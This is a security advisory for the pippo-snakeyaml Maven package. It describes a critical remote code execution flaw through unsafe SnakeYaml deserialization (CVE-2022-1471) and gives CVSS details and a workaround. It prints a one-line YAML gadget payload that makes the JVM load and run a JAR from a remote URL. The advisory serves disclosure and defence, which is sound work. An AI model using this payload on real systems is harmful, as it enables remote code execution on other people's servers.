Skip to content

pipo-snakeyaml: Remote Code Execution Vulnerability via SnakeYaml YAML deserialization

Critical
JLLeitschuh published GHSA-v956-x5m6-xj62 Nov 15, 2024

Package

maven ro.pippo:pippo-snakeyaml (Maven)

Affected versions

<=2.0.0-SNAPSHOT

Patched versions

None

Description

Impact

Remote Code Execution Vulnerability when the SnakeYamlEngine ContentTypeEngine is installed in an application. This is because the SnakeYaml deserializer by default allows for arbitrary deserialization of Java objects.

This is due to CVE-2022-1471

Vulnerability

This vulnerability exists because SnakeYaml enables the loading of arbitrary object graphs. For example, the following payload will allow an attacker to cause the JVM to class load an external JAR file and instantiate an attacker controlled instance of the javax.script.ScriptEngineFactory via the Java service loader.

!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://localhost:8080/"]]]]

The following code paths are vulnerable to this:

Patches

Resolved in this commit with the update of SnakeYaml to 2.0:

Workarounds

Remove the ro.pippo:pippo-snakeyaml module from your application.

References

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

CVE ID

CVE-2022-1471

Weaknesses

Improper Input Validation

The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly. Learn more on MITRE.

Improper Neutralization of Special Elements used in a Command ('Command Injection')

The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component. Learn more on MITRE.

Deserialization of Untrusted Data

The product deserializes untrusted data without sufficiently verifying that the resulting data will be valid. Learn more on MITRE.

Credits